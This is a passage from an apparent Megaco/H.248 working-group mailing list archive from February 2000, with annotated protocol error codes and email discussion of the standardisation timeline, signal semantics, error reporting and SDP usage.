        [Redundant -- use 450]

*446 - Unsupported or Unknown Parameter

*447 - Descriptor not legal in this command

*448 - Descriptor appears twice in a command

*450 - No such property in this package
        The Property Name (Annex A) or ItemID (Annex B) of a property within
a descriptor is either unsupported or unrecognized.  Use error code 440 if
the Package Name associated with the property is unrecognized.

*451 - No such event in this package
        This could apply to a reply for the AuditValue command as well as
the more common case of faulty EventDescriptors in other commands.  Use
error code 440 if the Package Name associated with the event is
unrecognized.

*452 - No such signal in this package
        This could apply to a reply for the AuditValue command as well as
the more common case of faulty SignalsDescriptors in other commands.  Use
error code 440 if the Package Name associated with the signal is
unrecognized.

*453 - No such statistic in this package
        Use error code 440 if the Package Name associated with the statistic
is unrecognized.

*454 - No such parameter value in this package
        The value given for a parameter is not legal for the package to
which the parameter belongs.  Use error code 450 if the type as opposed to
the value of the parameter is illegal.

*455 - Parameter illegal in this Descriptor

*456 - Parameter or Property appears twice in this Descriptor

*461 - TransactionIDs in Reply do not match Request
[Can't be detected.  Should be ContextIDs rather than TransactionIDs.  See
comment on 411]

*462 - Commands in Transaction Reply do not match commands in request

*463 - TerminationID of Transaction Reply does not match  request
[Should be phrased similarly to 462]

*464 - Missing reply in Transaction Reply
        [Assuming 461 is changed to ContextIDs and given 462, this one is
redundant]

*465 - TransactionID in Transaction Pending does not match any open request
[Unusable -- contrary to procedures in D.1.4]

466 - Illegal Duplicate Transaction Request
[Unusable -- contrary to procedures in 8.2.3]

*467 - Illegal Duplicate Transaction Reply
[Unusable -- contrary to Annex D procedures?]

471 - Implied Add for Multiplex failure
        A termination listed within a multiplex descriptor could not be
added to the current context.  If the reason is because the termination is
already in a different active context, use error code 433.

500 - Internal Gateway Error
        A command could not be executed properly due to a software failure
within the MG.  For hardware failures, see error code 529.

501 - Not Implemented
        [Redundant??? (Codes 443-446)]

502 - Not ready
        The respondent is temporarily unable to process requests because of
its own internal state.

503 - Service Unavailable
        [What service???  Likely conditions are covered by other error
codes]

504 - Command Received from unauthorized entity
        [Redundant -- covered by 402?]

505 - Command Received before Restart Response
        Issued by the MG which has issued a ServiceChange request to an MGC
if it receives a transaction request from that MGC before it has processed
the response to the ServiceChange request.  See procedural notes in section
11.2.

510 - Insufficient resources
        The MG is unable to execute a command because of a lack of resources
within the MG.

512 - Media Gateway unequipped to detect requested Event
        Self-descriptive.  If the MG does not support the package in which
the event is specified, use code 440.

513 - Media Gateway unequipped to generate requested Signals
        Self-descriptive.  If the MG does not support the package in which
the signal is specified, use code 440.

514 - Media Gateway cannot send the specified announcement
        [Package specific -- should be documented in the announcement
package]

515 - Unsupported Media Type
        [Might want to make it "Unsupported media type or media conversion"
]

517 - Unsupported or invalid mode
        [Too detailed.  Need a general "Unsupported or invalid value" }

518 - Event buffer full
        Reported via the Notify command using the Cause event in the Generic
package.  See procedures in section 7.2.7 [to be added as noted at the start
of this E-mail]

519 - Out of space to store digit map

520 - Media Gateway does not have a digit map
        The digit map named in a command is not specified.  [Probably want
to change to "Digit Map undefined"]

521 - Termination is "ServiceChangeing"
        [Inapplicable if we get rid of Graceful ServiceChange for
terminations.]

526 - Insufficient bandwidth
        The MG was unable to execute a command because of insufficient
resources at the network interface or externally to the MG.

529 - Internal hardware failure
        A command could not be executed properly due to a hardware failure
within the MG.

530 - Temporary Network failure
        The MG was unable to execute a command because of a network failure
of unspecified but temporary nature affecting the termination concerned.  If
the failure renders an existing termination unavailable for service, the MG
should follow up by issuing a ServiceChange on the termination to indicate
its unavailability.

531 - Permanent Network failure
        The MG was unable to execute a command because of a network failure
of unspecified and persistent nature affecting the termination concerned.
If the failure renders an existing termination unavailable for service, the
MG should follow up by issuing a ServiceChange on the termination to
indicate its unavailability.

581 - Does Not Exist
        [Covered by more specific errors (e.g. 411, 430)]


Tom Taylor
Advisor -- Emerging Carrier IP Standards
E-mail: taylor@nortelnetworks.com (internally, Tom-PT Taylor)
Phone and FAX: +1 613 736 0961


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb 11 08:58:25 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA08686
	for ; Fri, 11 Feb 2000 08:58:22 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.AFCA9610@standards.nortelnetworks.com>; Fri, 11 Feb 2000 8:55:03 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 40774 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 11 Feb 2000 08:53:35 -0500
Received: from mailgate.fore.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.155DEBF0@standards.nortelnetworks.com>; Fri, 11 Feb 2000 8:43:35
          -0500
Received: from mailman.fore.com (mailman.fore.com [169.144.2.12]) by
          mailgate.fore.com (8.9.3/8.9.3) with ESMTP id IAA20874; Fri, 11 Feb
          2000 08:46:05 -0500 (EST)
Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.fore.com [169.144.2.221])
          by mailman.fore.com (8.9.3/8.9.3) with ESMTP id IAA13911; Fri, 11 Feb
          2000 08:46:08 -0500 (EST)
Received: by whq-msgrtr-01.fore.com with Internet Mail Service (5.5.2650.21) id
          <1WCL76KG>; Fri, 11 Feb 2000 08:42:41 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: multipart/alternative;
              boundary="----_=_NextPart_001_01BF7495.DCF223CE"
Message-ID:  <4FBEA8857476D311A03300204840E1CF20891D@whq-msgusr-02.fore.com>
Date:         Fri, 11 Feb 2000 08:46:04 -0500
Reply-To: "Rosen, Brian" 
Sender: "Media Gateway Control (megaco)"
              
From: "Rosen, Brian" 
Subject:      Re: H.248 Activity
X-To:         Tom-PT Taylor 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This message is in MIME format. Since your mail reader does not understand
this format, some or all of this message may not be legible.

------_=_NextPart_001_01BF7495.DCF223CE
Content-Type: text/plain;
        charset="iso-8859-1"

I believe that Case 2 is the only viable option.

Brian

-----Original Message-----
From: Tom-PT Taylor [mailto:taylor@nortelnetworks.com]
Sent: Thursday, February 10, 2000 7:03 PM
To: MEGACO@standards.nortelnetworks.com
Subject: Re: H.248 Activity



The situation is clear.  IETF process will be respected, and only one
protocol will be produced.  This leaves the following outlook for the
future:

Case 1: SG 16 decides H.248 at this meeting

Clearly, the IESG will have to delete the protocol milestone from the Megaco
charter.  The IESG may choose, as they have the right to do under our
agreement with the ITU-T, to publish H.248 as an Informational RFC.  There
is no particular reason not to -- the provision was negotiated so IETF
participants would not have to pay the ITU-T for a copy of the standard they
helped develop.

Case 2: SG 16 does not decide H.248 at this meeting.

In this case, the preferable outcome will be to allow the IETF to complete
its process and create a Standards-track RFC.  That in turn can be processed
into an ITU-T White Document at a Q. 14/16 Rapporteur's meeting convened for
the purpose, and eventually decided as H.248.  To allow this,

  -- SG 16 must seek to decide the document at the WTSA meeting in September
rather than the meeting proposed for June 15

  -- the IETF must complete its process well before May 15
  -- the ITU-T must schedule a Rapporteur's meeting to meet the May 15 White
Paper deadline

I can only apologize so many times, but I do regret the ill-will this
outcome is bound to generate between the two organizations, even though each
has done its best to accommodate the other.

Just in case Case 2 is what happens, I hereby rescind Last Call with the
intention that it will be declared on a document which reflects the results
of the present SG 16 meeting.   Meantime, we can still try to clean up all
we can before next Tuesday.

        Tom Taylor


------_=_NextPart_001_01BF7495.DCF223CE
Content-Type: text/html;
        charset="iso-8859-1"




RE: H.248 Activity




I
believe that Case 2 is the only viable option.


 


Brian



  
-----Original Message-----
From: Tom-PT Taylor
  [mailto:taylor@nortelnetworks.com]
Sent: Thursday, February 10, 2000
  7:03 PM
To: MEGACO@standards.nortelnetworks.com
Subject:
  Re: H.248 Activity


  
The situation is clear.  IETF
  process will be respected, and only one protocol will be produced.  This
  leaves the following outlook for the future:

  
Case 1: SG 16 decides H.248 at this
  meeting 

  
Clearly, the IESG will have to delete
  the protocol milestone from the Megaco charter.  The IESG may choose, as
  they have the right to do under our agreement with the ITU-T, to publish H.248
  as an Informational RFC.  There is no particular reason not to -- the
  provision was negotiated so IETF participants would not have to pay the ITU-T
  for a copy of the standard they helped develop.

  
Case 2: SG 16 does not decide H.248
  at this meeting. 

  
In this case, the preferable outcome
  will be to allow the IETF to complete its process and create a Standards-track
  RFC.  That in turn can be processed into an ITU-T White Document at a Q.
  14/16 Rapporteur's meeting convened for the purpose, and eventually decided as
  H.248.  To allow this, 

  
  -- SG 16 must seek to decide
  the document at the WTSA meeting in September rather than the meeting proposed
  for June 15

  
  -- the IETF must complete its
  process well before May 15 
  -- the ITU-T must schedule a Rapporteur's meeting to meet the
  May 15 White Paper deadline 

  
I can only apologize so many times,
  but I do regret the ill-will this outcome is bound to generate between the two
  organizations, even though each has done its best to accommodate the
  other.

  
Just in case Case 2 is what happens,
  I hereby rescind Last Call with the intention that it will be declared on a
  document which reflects the results of the present SG 16 meeting.  
  Meantime, we can still try to clean up all we can before next
  Tuesday.

  
    
    
    Tom
    Taylor



------_=_NextPart_001_01BF7495.DCF223CE--


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb 11 09:05:42 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA08985
	for ; Fri, 11 Feb 2000 09:05:38 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.ABD375D0@standards.nortelnetworks.com>; Fri, 11 Feb 2000 9:02:06 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 40804 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 11 Feb 2000 09:01:57 -0500
Received: from mtiwmhc10.worldnet.att.net by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1a) with SMTP id
          <0.A5CF3CF0@standards.nortelnetworks.com>; Fri, 11 Feb 2000 9:01:56
          -0500
Received: from worldnet.att.net ([12.78.109.39]) by mtiwmhc10.worldnet.att.net
          (InterMail v03.02.07.07 118-134) with ESMTP id
          <20000211140421.BSTD12791@worldnet.att.net>; Fri, 11 Feb 2000
          14:04:21 +0000
X-Mailer: Mozilla 4.61 [en] (Win98; I)
X-Accept-Language: en
MIME-Version: 1.0
References: 
            <389DB4E5.26EEEBBD@nortelnetworks.com>
            <38A02861.2EB7D2CC@ericsson.com>
            <38A03BDE.1DD72689@worldnet.att.net>
            <38A09654.49BCC787@nortelnetworks.com>
            <38A09F7A.C852ABF7@worldnet.att.net>
            <38A0A250.F374FFF3@worldnet.att.net>
            <38A1AD0A.FB097A4D@ericsson.com>
            <38A1B37D.60C50000@worldnet.att.net>
            <38A30216.134B17A3@ericsson.com>
            <38A31D6C.C22C7570@worldnet.att.net>
            <38A33893.58078E8B@ericsson.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <38A41758.79DF8594@worldnet.att.net>
Date:         Fri, 11 Feb 2000 09:06:17 -0500
Reply-To: Flemming Andreasen 
Sender: "Media Gateway Control (megaco)"
              
From: Flemming Andreasen 
Subject:      Re: Cisco SG16: Signals Operation
X-To:         Christian Groves 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

Christian Groves wrote:

> G'Day Flemming,
>
> I see OO events as being more for tones or situations where the MG is
> continuously supplying a current (sorry for bringing HW into things).

No problem :-)

>
> ie. ring tone continuously supplies a ringing current. For a VisualMWI
> indicator what you are doing is instantaneous. ie. a function call to
> move pixels on a screen. You don't keep calling the function to keep it
> on the display. You call another function to remove the visual
> indication. I think this is more suited to BR.
>
> As you say this is a matter of taste. I believe this is a clean
> distinction.

At first, that seemed OK to me, under the assumption that semantically your two BR signals would be
equivalent to my one OO. Looking a little closer at it, I'm not sure they are after all (see below)..

>
>
> Given the following matrix I believe you need to be able to for signal
> behaviour. To me these are valid operations.
>                         Interupt     Non-interrupt
> Play once                  1               2
> Play for a time            3               4
> Play until turned off      5               6

Based on your comment below, I take it the interrupt part means whether the signal is interrupted by a
SignalsDescriptor. I think that still leaves the "interrupted by event" part open. Let's say I define a
vmvi_on and and a vmwi_off signal (of type BR, i.e.play once) which effectively sends out the FSK
sequence needed to turn the light on or off. Now, as was noted by somebody earlier, you only send this
sequence if the phone is on-hook. So when I apply this signal, it's possible that it either succeeds or
fails because of hook-state. Somehow, I need to know what the outcome was, if I use the two BR signals.
If I instead took a higher level view where I effectively tell the MG that "I just want this light
turned on" (or off), and let the underlying implementation of that signal do what is has to do to
achieve that (i.e. transmit the FSK sequence or wait/try again when the phone goes on-hook), I don't
have that problem. This does seem simpler to me.

As far as "Play for a time" and "Play until turned off" is concerned, I agree that distinction makes
sense. The way I would propose solving that, is by a TO signal in both cases. The former states a
specific period of time, e.g. 30 seconds, while the latter specifies "indefinitely".

I guess what I'm advocating, is actually adding another row to your matrix:
                            Interrupt        Non-interrupt
Set Indicator             7                      8

where the indicator can be either "on" or "off". Item 7 means that you supply the signal in a new
SignalsDescritpor with the opposite of its current value, i.e. if it was "on" you set to "off", and
vice versa. Item 8 would be supplying a new SignalsDescriptor where the signal is either omitted or is
set to its current value.

>
>
> If you tie replacement behaviour to signal type you only get 3 options.
> I believe if  BR, TO, OO the number of time you play a signal and add a
> KEEPACTIVE parameter then you can acheive all this. KEEPACTIVE is needed
> anyway to get over the signal double playing problem. Having this type
> of semantics also allows us to add other keywords in CS2,3 etc for
> things like queue, replace........
>
> Are we coming any closer to understanding each other?

I'm not sure we are there yet, but I think we are getting closer.

>
>
> Cheers, Christian
>
> Flemming Andreasen wrote:
> >
> > That could be another way of doing it. The drawbacks I see is that whenever you want to have this
> > behavior, you now have to define two signals; one for "on", and one for "off". Defining the
> > on/off type with one indication for "on" and another for "off" solves the problem once and for
> > all. Conceptually, I think it's cleaner, but that is inarguably a matter of taste. Do you see any
> > problems with it ?
> >
> > -- Flemming
> >
> > Christian Groves wrote:
> >
> > > G'Day Flemming,
> > >
> > > Why can't you define vmwi-on and wmwi-off property? This solves your
> > > problem. These could be both signal type 'brief' (ie. once). vmwi-on
> > > turns on your indicator. It stays on no matter what you do. You then
> > > issue vmwi-off it turns the indicator off.
> > >
> > > I think this solves your problem???
> > >
> > > Cheers, Christian
> > >
> > > Flemming Andreasen wrote:
> > > >
> > > > Christian Groves wrote:
> > > >
> > > > > To me it makes no sense to draw distinction between the types of signals
> > > > > and replacement behaviour.
> > > > >
> > > > > With the following rules, what behaviour can't you handle?
> > > > >
> > > > > o You can explicitely define the replacement behaviour using the
> > > > >   KEEPACTIVE flag. ie. If on, Signals are not stopped by events
> > > >
> > > > The problem here is, that KeepActive is an event parameter, not a signal parameter. Thus,
> > > > let's say I send down an EventsDescriptor looking for off-hook, and a SignalsDescriptor
> > > > applying ringing (TO), and vmwi (OO). I don't want my vmwi to be stopped by off-hook, but I
> > > > do want ringing to be stopped. How do I do that with the KeepActive flag ?
> > > >
> > > > >
> > > > > o Signals can be of a transition type "on->off" or something with
> > > > >   duration "plays for x seconds". This does not have to be part of the
> > > > >   protocol. Its a characteristic of the tone/message to be played.
> > > >
> > > > It sounds like we are in agreement, so I might be misunderstanding. The protocol defines
> > > > certain basic characteristics of different types of signals. Specifically those types are
> > > > BR, TO, and OO.
> > > >
> > > > >
> > > > > o Using BR,TO,OO controls the number of times that it is "played"
> > > >
> > > > That doesn't achieve all of what we want.
> > > >
> > > > >
> > > > >
> > > > > Cheers, Christian
> > > > >
> > > >
> > > > -- Flemming
> > > >
> > > > << stuff deleted >>
> >
> > --
> > ---------------------------------------
> > Flemming Andreasen
> > Cisco Systems
> > ---------------------------------------

-- Flemming

--
---------------------------------------
Flemming Andreasen
Cisco Systems
---------------------------------------


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb 11 09:29:59 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA09668
	for ; Fri, 11 Feb 2000 09:29:53 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.C2389DC0@standards.nortelnetworks.com>; Fri, 11 Feb 2000 9:24:12 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 40875 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 11 Feb 2000 09:23:51 -0500
Received: from hoemail2.firewall.lucent.com (192.11.226.163) by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP
          id <0.B53F6360@standards.nortelnetworks.com>; Fri, 11 Feb 2000
          9:23:51 -0500
Received: from hoemail2.firewall.lucent.com (localhost [127.0.0.1]) by
          hoemail2.firewall.lucent.com (Pro-8.9.3/8.9.3) with ESMTP id JAA16793
          for ; Fri, 11 Feb 2000 09:26:24
          -0500 (EST)
Received: from hzsgg01.nl.lucent.com (h135-85-116-11.lucent.com
          [135.85.116.11]) by hoemail2.firewall.lucent.com (Pro-8.9.3/8.9.3)
          with SMTP id JAA16765 for ; Fri,
          11 Feb 2000 09:26:23 -0500 (EST)
Received: from lucent.com (hzsgp04.nl.lucent.com) by hzsgg01.nl.lucent.com
          (4.1/SMI-4.1) id AA19238; Fri, 11 Feb 00 15:26:22 +0100
X-Mailer: Mozilla 4.7 [en] (WinNT; I)
X-Accept-Language: en
Mime-Version: 1.0
References: <4FBEA8857476D311A03300204840E1CF20891D@whq-msgusr-02.fore.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <38A41C0F.CC4D3069@lucent.com>
Date:         Fri, 11 Feb 2000 15:26:23 +0100
Reply-To: Paul Sijben 
Sender: "Media Gateway Control (megaco)"
              
From: Paul Sijben 
Organization: Lucent technologies, The Netherlands
Subject:      Re: H.248 Activity
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

Having dropped out of MEGACO and trying to catch up with what has happened,
I am a bit surprised about this discussion.

I vidly recall a meeting in Minneapolis where it was made _very_ clear that
this work had to be finished ASAP because the industry was eagerly awaiting
this.

I get the impression from recent postings to this list that this is no
longer the case, especially from people who 8 months ago were telling me in
very clear terms over and over again that we should hurry this work up!

Why should the industry now wait with freezing this protocol?

Paul
--
Paul Sijben              Tel:+31 356874774
Lucent Technologies      Message:+31 208702874
Forward Looking Work     Fax: +31 208702874
Huizen, The Netherlands  http://voip.nl.lucent.com/~sijben (internal)


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb 11 09:30:06 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA09683
	for ; Fri, 11 Feb 2000 09:30:01 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.E7A6AD90@standards.nortelnetworks.com>; Fri, 11 Feb 2000 9:25:15 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 40907 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 11 Feb 2000 09:25:04 -0500
Received: from mtiwmhc10.worldnet.att.net by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1a) with SMTP id
          <0.E0E3B890@standards.nortelnetworks.com>; Fri, 11 Feb 2000 9:25:04
          -0500
Received: from worldnet.att.net ([12.78.109.39]) by mtiwmhc10.worldnet.att.net
          (InterMail v03.02.07.07 118-134) with ESMTP id
          <20000211142734.CASJ12791@worldnet.att.net>; Fri, 11 Feb 2000
          14:27:34 +0000
X-Mailer: Mozilla 4.61 [en] (Win98; I)
X-Accept-Language: en
MIME-Version: 1.0
References: 
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <38A41CC4.198069EF@worldnet.att.net>
Date:         Fri, 11 Feb 2000 09:29:24 -0500
Reply-To: Flemming Andreasen 
Sender: "Media Gateway Control (megaco)"
              
From: Flemming Andreasen 
Subject:      Re: Errors and Error Codes
X-To:         Tom-PT Taylor 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

Tom-PT Taylor wrote:

> This E-mail covers several topics dealing with error reporting.
>
> A. Asynchronous Error Reporting
> ========================
>
> We have discussed, here in Geneva, a mechanism for generating spontaneous
> notifications of error conditions (i.e. use of the "cause" event in the
> generic package).  The suggested mechanism is this:
>
>   -- we reserve a block of event request-IDs (e.g. 0-15) for assignment to
> classes of event the MGC will always want enabled (or alternatively can
> enable or disable using a Root property).  As an example of use, we assign
> requestID 0 to spontaneous error reports.  This way it won't be necessary to
> include the cause event in every Event Descriptor
>

I agree with the goal, but I'm not sure I agree with the solution (could be I
just misinterpreted it), so let me ask a couple of questions for clarification:

Does this mean, that if I play a signal that succeeds, I will get a completion
event through the normal channels and with a RequestID matching my request, but
if it fails, it will come through this other channel using one of these special
RequestIDs ?

What about ordering ? Will I be guaranteed to receive the error before any other
subsequent events on the termination ?


>
>   -- rather than making errorDescriptor an optional component of the Notify
> command (as our ABNF now states), we make it a parameter of the cause event.
>
>   -- this mechanism allows the inclusion of some error codes in our list in
> section 7.3 which otherwise shouldn't be there because they would not result
> from transaction processing.  One example is 518 "event buffer full".
>
>

<>

-- Flemming


--
---------------------------------------
Flemming Andreasen
Cisco Systems
---------------------------------------


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb 11 09:43:45 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA10209
	for ; Fri, 11 Feb 2000 09:43:39 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.05FCDFB0@standards.nortelnetworks.com>; Fri, 11 Feb 2000 9:40:25 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 40979 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 11 Feb 2000 09:39:23 -0500
Received: from mailgate.fore.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.7B16AA80@standards.nortelnetworks.com>; Fri, 11 Feb 2000 9:29:22
          -0500
Received: from mailman.fore.com (mailman.fore.com [169.144.2.12]) by
          mailgate.fore.com (8.9.3/8.9.3) with ESMTP id JAA25469; Fri, 11 Feb
          2000 09:31:49 -0500 (EST)
Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.fore.com [169.144.2.221])
          by mailman.fore.com (8.9.3/8.9.3) with ESMTP id JAA23665; Fri, 11 Feb
          2000 09:31:51 -0500 (EST)
Received: by whq-msgrtr-01.fore.com with Internet Mail Service (5.5.2650.21) id
          <1WCL77JT>; Fri, 11 Feb 2000 09:28:25 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <4FBEA8857476D311A03300204840E1CF208923@whq-msgusr-02.fore.com>
Date:         Fri, 11 Feb 2000 09:31:49 -0500
Reply-To: "Rosen, Brian" 
Sender: "Media Gateway Control (megaco)"
              
From: "Rosen, Brian" 
Subject:      Re: Inconsistency between Sec 11.5 & D.1
X-To:         "hsanand@ficon-tech.com" 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

This has been pointed out before.  I'm not sure how we missed it.

Brian

> -----Original Message-----
> From: Harpreet Singh Anand [mailto:hsanand@ficon-tech.com]
> Sent: Friday, February 11, 2000 2:28 AM
> To: MEGACO@standards.nortelnetworks.com
> Subject: Inconsistency between Sec 11.5 & D.1
>
>
> Hello all,
>
> There is an inconsistency between Sec 11.5 and D.1.
>
> In Sec 11.5, it has been mentioned that in case of handoff,
> the replies which MG
> had to send to the first MGC (the one triggering the handoff)
> would be sent to
> the MGC (to which MG is being handed off to).
> "Accordingly, commands in progress continue, transaction
> replies are sent to the
> new MGC (after a new control association is established), and
> the MG should
> expect outstanding transaction replies from the new MGC.  "
> (3rd para, 5th line)
>
> However, D.1 states that "Responses must always be sent to
> the address and port
> from which the corresponding commands were sent. " (first
> paragraph, last
> line).  This sentence should be modified so that it is
> consistent with the
> handling specified in Sec 11.5
>
>
> Regards,
> Harpreet
>
> _________________________________
> Harpreet Singh Anand
> Ficon Technology
> E-mail :  mailto:hsanand@ficon-tech.com
> Web    :  http://www.ficon-tech.com
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb 11 09:50:40 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA10361
	for ; Fri, 11 Feb 2000 09:50:36 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.01DF99D0@standards.nortelnetworks.com>; Fri, 11 Feb 2000 9:47:28 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 41031 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 11 Feb 2000 09:46:09 -0500
Received: from mailgate.fore.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.6CEA78F0@standards.nortelnetworks.com>; Fri, 11 Feb 2000 9:36:08
          -0500
Received: from mailman.fore.com (mailman.fore.com [169.144.2.12]) by
          mailgate.fore.com (8.9.3/8.9.3) with ESMTP id JAA26178; Fri, 11 Feb
          2000 09:38:39 -0500 (EST)
Received: from whq-msgrtr-01.fore.com (whq-msgrtr-01.fore.com [169.144.2.221])
          by mailman.fore.com (8.9.3/8.9.3) with ESMTP id JAA25477; Fri, 11 Feb
          2000 09:38:38 -0500 (EST)
Received: by whq-msgrtr-01.fore.com with Internet Mail Service (5.5.2650.21) id
          <1WCL77P5>; Fri, 11 Feb 2000 09:35:12 -0500
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <4FBEA8857476D311A03300204840E1CF208924@whq-msgusr-02.fore.com>
Date:         Fri, 11 Feb 2000 09:38:35 -0500
Reply-To: "Rosen, Brian" 
Sender: "Media Gateway Control (megaco)"
              
From: "Rosen, Brian" 
Subject:      Re: SDP usage
X-To:         Shalini Philip 
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

Yes, this is a known issue.  We have a team working on the ATM
part of the problem.  The result will be an I-D with suggested
SDP syntax, plus a Megaco package, and if needed, an MGCP package.

Brian


> -----Original Message-----
> From: Shalini Philip [mailto:sphilip@ficon-tech.com]
> Sent: Friday, February 11, 2000 7:02 AM
> To: MEGACO@standards.nortelnetworks.com
> Subject: SDP usage
>
>
> Hello Brian,
>
>
> This is regarding the use of SDP within the Media Descriptor in
> H.248/MEGACOP protocol.
>
>  - The Details on the changes required in the SDP grammer
> (symbol to be
> used for wildcard etc.) are missing.
>
>  - The specification should give details of the SDP fields (example
> network type, media type, transport type, any additional attributes)
> that would be used in MEGACOP. Similar information has been
> provided in
> MGCP and is useful for achieving interoperability. Similarly
> ATM bearer
> description in SDP should also be defined (or a pointer given to the
> relevant document).
>
>
>
>
> Regards,
>
> Shalini Philip
> Ficon Technology
> E-Mail : mailto:sphilip@ficon-tech.com
> Web    : http://www.ficon-tech.com
>


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Fri Feb 11 10:02:59 2000
Received: from standards.nortelnetworks.com (standards.nortelnetworks.com [137.118.21.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA10737
	for ; Fri, 11 Feb 2000 10:02:56 -0500 (EST)
Received: from standards (137.118.21.16) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1a) with SMTP id <0.B0C97960@standards.nortelnetworks.com>; Fri, 11 Feb 2000 9:59:31 -0500
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 41104 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Fri, 11 Feb 2000 09:57:41 -0500
Received: from tapti.hss.hns.com by standards.nortelnetworks.com (LSMTP for
          Windows NT v1.1a) with SMTP id
          <0.1D2C2AE0@standards.nortelnetworks.com>; Fri, 11 Feb 2000 9:55:23
          -0500
Received: from sandesh.hss.hns.com (sandesh.hss.hns.com [139.85.242.35]) by
          tapti.hss.hns.com (8.8.8/8.8.8) with SMTP id TAA28366 for
          ; Fri, 11 Feb 2000 19:59:31
          +0530 (IST)
Received: by sandesh.hss.hns.com(Lotus SMTP MTA v4.6.3  (733.2 10-16-1998))  id
          65256882.004C6BD2 ; Fri, 11 Feb 2000 19:24:43 +0530
X-Lotus-FromDomain: HSS
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline
Message-ID:  <65256882.004C6ACF.00@sandesh.hss.hns.com>
Date:         Fri, 11 Feb 2000 19:28:15 +0530
Reply-To: samittal@HSS.HNS.COM
Sender: "Media Gateway Control (megaco)"
              
From: Sachin Mittal 
Subject:      ServiceChange when termination capability changes
